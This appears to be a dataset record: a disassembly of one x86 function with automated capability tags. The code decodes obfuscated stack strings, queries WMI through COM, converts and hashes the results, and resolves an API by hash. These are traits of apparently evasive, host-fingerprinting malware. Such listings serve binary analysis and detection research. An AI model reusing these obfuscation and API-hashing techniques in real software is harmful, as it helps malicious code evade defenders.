Function at 0x43a1c0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov edi, dword [ebp + 8]
mov eax, dword [0x44f2b0]
mov dword [esp + 0x44], eax
mov dword [esp + 8], 0x912b9ffb
mov dword [esp + 0xc], 0x9507931b
mov dword [esp + 0x10], 0x89319700
mov dword [esp + 0x14], 0x8dce8b17
mov dword [esp + 0x18], 0x81158f1e
mov dword [esp + 0x1c], 0x85258316
mov dword [esp + 0x20], 0xf98687e3
mov byte [esp + 0x24], 0
mov eax, 0xf025da5
mov edx, 0xf0fda25a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0xf025d9d]
mov ecx, eax
and ecx, ebx
add ecx, ecx
mov esi, ecx
sub esi, ebx
add esi, edx
or esi, 0x34f42bc6
add esi, ebx
sub ebx, ecx
add ebx, eax
sub esi, ecx
add esi, eax
lea ecx, [esi*2 + 2]
xor ebx, 0xb4f42bc6
mov esi, ecx
and esi, ebx
xor ebx, ecx
lea ecx, [ebx + esi*2]
inc cl
mov byte [esp + eax - 0xf025d9d], cl
inc eax
dec edx
cmp eax, 0xf025dc2
jne 0x43a230
lea eax, [esp + 0x64]
lea esi, [esp + 0x8c]
lea ebx, [esp + 8]
push eax
push 8
push esi
push 0xd
push ebx
push 0
call dword [esp + 0x5c]
test eax, eax
jns 0x43a2a7
mov dword [esp + 0x8c], 0x3a0043
mov dword [esp + 0x90], 0x5c
mov dword [esp + 0x70], 0xa018c71d
mov dword [esp + 0x6c], 0xa960f598
mov dword [esp + 0x68], 0x88e2c100
mov dword [esp + 0x64], 0xfc012cb8
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x4c]
push eax
push 0x445668
push 1
push 0
push 0x445678
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x43a86c
mov dword [esp + 8], 0x61d767d6
mov dword [esp + 0xc], 0x5dce63d1
mov dword [esp + 0x10], 0x59e35ff8
mov dword [esp + 0x14], 0x55ed5be3
mov dword [esp + 0x18], 0x518457fa
mov dword [esp + 0x1c], 0x5350
mov byte [esp + 0x20], 0
mov eax, 0x14e8d99
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x14e8d91]
xor ecx, eax
mov edx, ecx
and edx, 2
xor ecx, 2
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax - 0x14e8d91], cl
inc eax
cmp eax, 0x14e8db2
jne 0x43a340
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x60], ebx
push ebx
lea ebx, [esp + 0x28]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x43a858
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x64]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x43a84e
mov dword [esp + 8], 0xe95deb5d
mov dword [esp + 0xc], 0xedeeefa4
mov byte [esp + 0x10], 0
mov eax, 0x147705d7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x147705cf]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xcd
mov byte [esp + eax - 0x147705cf], cl
inc eax
cmp eax, 0x147705e0
jne 0x43a3e0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x54], eax
mov dword [esp + 8], 0x81c987d9
mov dword [esp + 0xc], 0x8dcd83d4
mov dword [esp + 0x10], 0x89d28fc1
mov dword [esp + 0x14], 0x95e08be8
mov dword [esp + 0x18], 0x91d897f4
mov dword [esp + 0x1c], 0x9dc393c2
mov dword [esp + 0x20], 0x99fe9fcb
mov dword [esp + 0x24], 0xe5319bc1
mov dword [esp + 0x28], 0xe19be752
mov dword [esp + 0x2c], 0xed43e392
mov dword [esp + 0x30], 0xe9a5efae
mov dword [esp + 0x34], 0xf5b7ebb9
mov word [esp + 0x38], 0xf7f4
mov dword [esp + 0x3a], 0
mov byte [esp + 0x3e], 0
mov eax, 0xb4c5bfa1
mov ecx, 0x4b3a405e
movzx edx, byte [esp + eax + 0x4b3a4067]
mov esi, edx
and esi, 0x7d
mov ebx, esi
xor ebx, 0x7d
xor esi, 0x565d0f7d
or esi, ebx
mov ebx, edx
xor ebx, 0x565d0f7d
or edx, 0x82
and edx, ebx
or edx, esi
mov esi, ecx
and esi, 0x4218007d
mov ebx, eax
and ebx, 0xa080b082
or ebx, esi
xor ebx, edx
mov edx, 1
sub edx, ebx
not edx
and edx, 1
mov esi, ebx
and esi, 1
xor ebx, 1
add ebx, 0xda
or ebx, esi
add ebx, edx
mov byte [esp + eax + 0x4b3a4067], bl
inc eax
dec ecx
cmp eax, 0xb4c5bfd8
jne 0x43a490
lea ebx, [esp + 8]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x48]
mov ecx, dword [esi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0x80], eax
push eax
mov ebx, dword [esp + 0x64]
push ebx
push esi
call dword [ecx + 0x50]
test eax, eax
js 0x43a834
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
lea esi, [esp + 0x5c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x43a82a
cmp eax, 1
je 0x43a82a
cmp dword [esp + 0x58], 0
je 0x43a82a
lea esi, [esp + 0x78]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], 0x23c721d3
mov dword [esp + 0xc], 0x27bf25b6
mov dword [esp + 0x10], 0xdb46d939
mov dword [esp + 0x14], 0xdf4bdd22
mov dword [esp + 0x18], 0xd330d14d
mov dword [esp + 0x1c], 0xd744d531
mov word [esp + 0x20], 0xc9c8
mov dword [esp + 0x22], 0
mov byte [esp + 0x26], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x78
xor dl, byte [esp + ecx + 8]
add dl, 0xa8
mov byte [esp + ecx + 8], dl
inc ecx
cmp ecx, 0x1f
jne 0x43a5d0
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x43a819
cmp word [esp + 0x78], 8
jne 0x43a819
mov eax, dword [esp + 0x80]
movzx ecx, word [eax]
test cx, cx
mov ebx, eax
je 0x43a66f
add eax, 2
xor esi, esi
jmp 0x43a646
mov ecx, esi
and ecx, 1
xor esi, 1
lea esi, [esi + ecx*2]
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43a671
cmp cx, 0x7f
jbe 0x43a630
movzx edx, cx
cmp edx, 0x7ff
ja 0x43a664
mov ecx, esi
xor ecx, 2
and esi, 2
lea esi, [ecx + esi*2]
jmp 0x43a63b
cmp cx, 0xffff
je 0x43a63b
add esi, 3
jmp 0x43a63b
xor esi, esi
lea eax, [esi + 1]
push eax
call fcn.00408810
add esp, 4
mov ecx, esi
mov dword [esp + 0x40], eax
mov esi, eax
mov dword [esp + 0x50], ecx
test ecx, ecx
je 0x43a7c7
mov edx, ebx
movzx eax, word [ebx]
mov esi, dword [esp + 0x40]
test ax, ax
je 0x43a7c7
mov ecx, dword [esp + 0x50]
mov esi, dword [esp + 0x40]
nop
nop
nop
nop
nop
movzx ebx, ax
lea eax, [edx + 2]
mov dword [esp + 4], eax
cmp bx, 0x7f
ja 0x43a6d0
lea eax, [esi + 1]
mov byte [esi], bl
jmp 0x43a6f8
cmp ebx, 0x7ff
ja 0x43a717
cmp ecx, 2
jb 0x43a717
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [esi], al
mov edx, ebx
not edx
or edx, 0x3f
add edx, ebx
add dl, 0x81
lea eax, [esi + 2]
mov byte [esi + 1], dl
mov edx, dword [esp + 4]
add ecx, esi
sub ecx, eax
mov esi, eax
movzx eax, word [edx]
test ax, ax
je 0x43a7c7
test ecx, ecx
jne 0x43a6b0
jmp 0x43a7c7
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x43a77b
cmp ecx, 4
jb 0x43a77b
movzx eax, word [edx + 2]
mov dword [esp + 4], eax
add edx, 4
shl ebx, 0xa
mov eax, dword [esp + 4]
add eax, ebx
add eax, 0xfca02400
mov ebx, edx
mov edx, eax
shr edx, 0x12
add dl, 0xf0
mov byte [esi], dl
mov edx, eax
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [esi + 1], dl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esi + 2], al
mov eax, dword [esp + 4]
and al, 0x3f
or al, 0x80
mov edx, eax
lea eax, [esi + 4]
mov byte [esi + 3], dl
mov edx, ebx
jmp 0x43a6fc
movzx eax, ax
cmp eax, 0xdc00
jne 0x43a78e
mov edx, dword [esp + 4]
jmp 0x43a702
cmp ecx, 3
jb 0x43a7c0
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [esi], al
mov edx, ebx
shr edx, 6
mov eax, edx
not eax
or eax, 0x3f
add eax, edx
add al, 0x81
mov byte [esi + 1], al
and bl, 0x3f
or bl, 0x80
lea eax, [esi + 3]
mov byte [esi + 2], bl
jmp 0x43a6f8
mov eax, esi
jmp 0x43a6f8
mov byte [esi], 0
mov eax, 3
mov ecx, dword [esp + 0x50]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x43a7df
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
lea esi, [esp + 0x78]
jb 0x43a7f2
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov ebx, dword [esp + 0x44]
push ebx
lea eax, [esp + 0x6c]
push eax
call fcn.00408840
add esp, 0xc
push ebx
call fcn.00408820
add esp, 4
mov ebx, dword [esp + 0x54]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ebx
call esi
push dword [esp + 0x74]
call esi
lea esi, [esp + 0x8c]
lea ebx, [esp + 8]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x44]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xbeb8f1a1
push dword [0x44f2a8]
call fcn.004412a0
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
test eax, eax
je 0x43a89b
mov eax, dword [esp + 8]
mov dword [esp + 0x64], eax
xor esi, esi
jmp 0x43a8ad
inc esi
add edi, 8
cmp esi, 4
je 0x43a933
mov eax, 0
test esi, esi
je 0x43a8cd
cmp dword [esp + esi*4 + 0x64], 0
mov eax, esi
jne 0x43a8cd
mov eax, esi
and eax, 2
mov ecx, esi
not ecx
and ecx, 1
sub eax, ecx
mov eax, dword [esp + eax*4 + 0x64]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x64], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.00420fe0
add esp, 0x10
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne 0x43a910
test ebx, ebx
je 0x43a8a0
add eax, ebx
neg ebx
push ebx
push 0x30
push eax
call fcn.00408890
add esp, 0xc
jmp 0x43a8a0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret